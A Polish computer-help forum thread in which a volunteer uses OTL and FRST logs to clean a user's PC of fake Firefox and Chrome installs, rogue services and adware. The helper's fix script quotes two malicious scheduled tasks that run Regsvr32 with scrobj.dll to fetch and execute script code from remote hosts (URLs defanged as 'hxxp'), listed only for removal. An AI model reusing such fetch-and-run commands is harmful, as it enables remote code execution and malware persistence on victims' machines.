Problem z przeglądarką Firefox (chyba wirusy)

[Xiri]

Niedawno miałam problemy z przeglądarką, po skanowaniu Avastem (który niczego nie znalazł) Adwcleanerem i Zemana AntiMalwarem wyszedł trojan i kilka adware w plikach Firefoxa. Wszystko wykasowałam albo przeniosłam do kwarantanny. Teraz znów dzieje się to samo. Przeglądarka wysypuje się z awarią albo zwalnia, zwłaszcza w moim profilu na Youtube. Tworzą się też ciągle ikony na pulpicie (zaznaczone kółkami na obrazku niżej), po każdym odpaleniu PC, mimo że je w kółko kasuję i wyłączam z paska. Proszę o sprawdzenie logów albo podpowiedzenie, czym mogę zeskanować komputer. Antywirusów nie używam, bo KAŻDY mi coś zamula.

 

OLX i RSIT

http://wklejto.pl/277780

http://wklejto.pl/277781

http://wklejto.pl/277782

 

[Twój_Anioł_Stróż]

1)

Uruchom OTL i w oknie Własne opcje skanowania/Skrypt wklej to:

:OTL
SRV - [2017-04-26 05:10:54 | 000,108,720 | ---- | M] () [Auto | Running] -- C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe -- (FirefoxU)
O27:64bit: - HKLM IFEO\taskmgr.exe: Debugger -  File not found
O27 - HKLM IFEO\taskmgr.exe: Debugger -  File not found
[2017-04-17 19:38:47 | 000,000,000 | ---D | C] -- C:\Users\bb\AppData\Local\Eastness
[2017-04-17 19:38:38 | 000,000,000 | ---D | C] -- C:\ProgramData\Software
[2017-04-17 19:38:34 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Eastness
[2017-04-17 19:33:36 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\BiaoJi
[2017-04-13 15:09:09 | 000,000,000 | ---D | C] -- C:\Users\bb\AppData\Roaming\SSMgre

:Files
C:\Program Files (x86)\Firefox
C:\Users\bb\AppData\Local\Firefox
C:\Users\bb\AppData\Roaming\Firefox
C:\ProgramData\SWCUTemp

:Commands
[emptytemp]

Kliknij w Wykonaj Skrypt.

 

2) Zrób logi z FRST > http://www.forumpc.pl/topic/277786-nieingerencyjne-narzędzia-do-tworzenia-logów-systemowych/?p=2010191
przed skanem zaznacz: Additional.txt Shortcut.txt,

[Xiri]

Dziękuję za analizę

 

Zrobione. Uzyskane logi.

http://wklejto.pl/277808

http://wklejto.pl/277809

http://wklejto.pl/277810

http://wklejto.pl/277811

[Twój_Anioł_Stróż]

Cytuj

C:\Users\bb\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Mozilla Firefox.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
C:\Users\bb\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
C:\Users\bb\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk

Te skróty Chrome oraz Firefoxa dam do usuwania, bo kierują do fałszywych przeglądarek.

Potem zrobisz sobie nowe skróty w tych samych lokalizacjach.

 

Otwórz Notatnik i wklej w nim:

Cytuj

Task: {9A9746E1-5CF8-4A7D-A56C-DE0BBF711DE4} - System32\Tasks\Windows-WoShiBeiYongDe => Regsvr32.exe /s /i:hxxp://u76wtn6.x.incapdns.net/?data=zDlkMj8cOWRXFjLQMWY5F8E3MjY5N8F3F8NQOTH1MWU8MUYcNH== scrobj.dll

C:\Windows\System32\Tasks\Windows-WoShiBeiYongDe
2017-04-20 16:34 - 2017-04-20 16:34 - 00000000 _____ C:\Windows\SysWOW64\33
2017-04-20 16:33 - 2017-04-20 16:33 - 00000000 _____ C:\Windows\SysWOW64\11
2017-04-26 13:33 - 2017-04-26 16:52 - 00000000 _____ C:\Users\Public\Documents\report.dat
2017-04-26 13:33 - 2017-04-26 13:33 - 00000000 _____ C:\Users\Public\Documents\temp.dat
S3 VGPU; System32\drivers\rdvgkmd.sys [X]
S2 AppleNotificationsSrv; C:\ProgramData\Software\Apple\Apps\Notification.dll [X]
S2 NVIDIA Wireless Controller Service; "C:\Program Files\NVIDIA Corporation\GeForce Experience Service\nvwirelesscontroller.exe" [X]
FF user.js: detected! => C:\Users\bb\AppData\Roaming\Mozilla\Firefox\Profiles\vzmqix52.default\user.js [2017-02-08]
FirewallRules: [{A32B507B-130C-4B57-954B-91BF9F3368BE}] => (Allow) C:\Program Files (x86)\Eastness\Application\chrome.exe
FirewallRules: [{21A216AF-50EE-41B1-B738-6A97290B23A1}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{FAC7B1B0-AABD-4618-9D97-4A1EBA946F12}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe
C:\Program Files (x86)\Firefox  
C:\Program Files (x86)\Eastness
Task: {6BB2F924-3551-44C1-BEC4-DC9D852AE400} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lbyhbyc.com/?data=zDlkMj8cOWRXFjLQMWY5F8E3MjY5N8F3F8NQOTH1MWU8MUYcNH== scrobj.dll
HKU\S-1-5-21-1490601117-1360255438-4024073951-1000\...\ChromeHTML: -> "C:\Program Files (x86)\Eastness\Application\chrome.exe" "%1" <==== ATTENTION
C:\Users\bb\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Mozilla Firefox.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
C:\Users\bb\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk
C:\Users\bb\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu\Google Chrome.lnk
EmptyTemp:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST.exe
Uruchom FRST i kliknij przycisk Fix (NAPRAW).

 

Zrób nowe logi FRST.

Przed skanem zaznacz "Addition.txt" oraz "Shortcut.txt".

Edytowane 26 kwietnia 2017 przez Twój_Anioł_Stróż

[Xiri]

Mam program o nazwie FRST64, więc plik nie powinien nazywać się fixlist64.txt? Na razie zrobiłam fixa przy zapisanym pliku fixlist.txt.

Logi:

http://wklejto.pl/277848

http://wklejto.pl/277849

http://wklejto.pl/277850

[Twój_Anioł_Stróż]

W nowych logach nie widzę już niczego podejrzanego, więc chyba możemy kończyć:

Otwórz Notatnik i wklej w nim:

DeleteQuarantine:

Plik zapisz pod nazwą fixlist.txt i umieść obok FRST. Uruchom FRST i kliknij w Fix (NAPRAW).
przez SHIFT+DEL usuń pozostały folder C:\FRST.

[Xiri]

Dziękuję.

Zrobione, folder z C usunięty. A to ostatni log z folderu User--> Pobrane,  gdzie jest program.

 

Fix result of Farbar Recovery Scan Tool (x64) Version: 27-04-2017
Ran by bb (27-04-2017 11:41:26) Run:2
Running from C:\Users\bb\Downloads
Loaded Profiles: bb (Available Profiles: bb)
Boot Mode: Normal
==============================================

fixlist content:
*****************
DeleteQuarantine:
*****************

"C:\FRST\Quarantine" => removed successfully.

==== End of Fixlog 11:41:27 ====

[Twój_Anioł_Stróż]

OK, wykonane.